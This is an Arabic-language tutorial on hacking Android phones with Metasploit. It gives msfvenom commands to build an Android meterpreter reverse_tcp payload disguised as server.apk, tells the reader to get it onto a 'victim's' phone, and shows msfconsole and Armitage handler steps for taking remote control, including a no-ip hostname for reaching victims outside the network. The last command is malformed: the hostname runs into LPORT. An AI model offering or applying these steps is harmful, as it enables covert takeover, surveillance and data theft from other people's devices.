طريقة اختراق اجهزة الأندرويد

 

اختراق اجهزة الأندرويد

سوف اشرح لكم اليوم طريقة اختراق اجهزة اندرويد بواسطة مشروع الميتاسبلويت, سنستعمل ما يسمى البايلود واعلمكم كيف يتم تكوين البايلود والاختراق سواء كان داخل الشبكة باستعمال الايبي الداخلي  أو خارج الشبكة بالايبي الخارجي.

لتثبيت الميتاسبلويت على برنامج تيرمكس قبل البداية بالاختراق الدخول للمقال الآتي يعلمكم تثبيتها بعدة اوامر.

اضغط هنا للدخول مقال تثبيت الميتاسبلويت

من المفروض أن لديك نظرة عن الاختراق, وان لم يكن سأشرح بشكل بسيط كيف تتم العملية يجب أن تعرف أن الاختراق نوعين:

• اختراق بواسطة التروجان أو السيرفر Client/server: 

وهذا ما سنتعرف عليه في هذا الشرح, وهو عن طريق ارسال سيرفر للضحية وبعدما يتم فتحه, تتم عملية الاختراق, وهذا يتم بواسطة السيرفر server , والذي قام بفتح باب خلفي backdoor في النظام ومن خلاله نرسل ونستقبل البيانات عبر البورت.

• الاختراق المتقدم Penetration Testing :

والذي يتم عن طريق اكتشاف الثغرات ونقاط الضعف Points vulnerability بالانظمة, وهذا النوع يتطلب الكثير من المعرفة في الهندسة العكسية والشبكات والأنظمة والبرمجة ... .

ملحوظة:

البايلود Payload هو نفسه السيرفر server في برامج الرات RAT.

• الأنواع المتاحه

1. reverse_tcp
2. reverse_http
3. reverse_https

وتختلف فيما بينها في طريقة الاتصال (بروتوكول  tcp http https)

السيناريو بشكل عام

هو ارسال البايلود للضحية فيتم الاختراق, ثم تتحكم بالبايلود عن طريق مشروع  الميتاسبلويت والذي يلعب نفس دور المتحكم في برامج الرات العادية Client

طريقة انشاء االبايلود:

msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.3 LPORT=4444 R > /root/Desktop/server.apk

شرح الامر:
تختار البايلود الاتي android/meterpreter/reverse_tcp وهو أنواع كثيرة, لكننا اخترنا البايلود meterpreter لانه يتحكم بالضحية بشكل كامل وأوامره كثيرة (هو أفضل بايلود), ونوعهreverce_tcp بمعنى أن السيرفر الذي زرعناه في هاتف الضحية هو من يتصل بالمخترق ولهذا يسمى عكسي reverse

• البورت LPORT : وقمنا بوضع البورت 4444 أنت استبدله بأي بورت يكون مفتوح بالروتر عندك مثلا بورت 443 او 8181 ...

• LHOST : هنا تضع الايبي الخاص بجهازك, حتى يتصل بك الضحية (هو من ينشئ الاتصال)
• لمعرفة الايبي الداخلي الخاص بك افتح الطرفية واكتب الأمر

ifconfig

مثلا في جهازي كما بالصورة 192.168.1.14

تنويه: ان كان ضحيتك خارج الشبكة فاستعمل الايبي الخارجي, أو استعمل موقع نو ايبي لتثبيت الايبي

وهذا اسم ومسار البايلود في جهازك

/root/Desktop/server.apk 

الان تقوم بتمرير الملف الناتج server.apk الى جهاز الضحية وتشغله فيتم الاختراق.
نأتي الان لمرحلة التحكم بالضحية, يمكننا التحكم بالضحية بطريقتين

1.عن طريق الاوامر CL بواسطة Metasploit أو بشكل أدق اداة msfconsole
انسخ الأوامر بالطرفية:

msfconsole
use multi/handler
set PAYLOAD android/meterpreter/reverse_tcp
set LHOST 192.168.1.3
set LPORT 4444
exploit

2.الطريقة الثانية أسهل بكثير, وهي التحكم بواسطة الارميتاج Armitage وهي تعتمد على الواجهة الرسومية GUI
تنشئء جلسة التنصت كالاتي:

1. افتح  Terminal
2. ثم أكتب 

armitage

ستفتح الارميتاج

اختر Listeners بمعنى تنصت

/

ثم حدد البورت 4444 والبايلود  meterpreter

ثم STart Listener

في النهاية عند تشغيل البايلود في هاتف الضحية سيضهر لك على شاشة الارميتاج

ملحوظة 

للاختراق خارج الشبكة يجب عليك استبدال الاي بي LHOST الى عنوان النو ايبي no-ip الخاص بك

كمثال بهذا الشكل:

msfvenom -p android/meterpreter/reverse_tcp LHOST=cortexhacker.no-ip.bizLPORT=4444 R > /root/Desktop/server.apk

هذا كل شيء في شرح اليوم لاتنسو بتشجيعنا على الاستمرار من خلال التعليقات التحفيزية .. في امان الله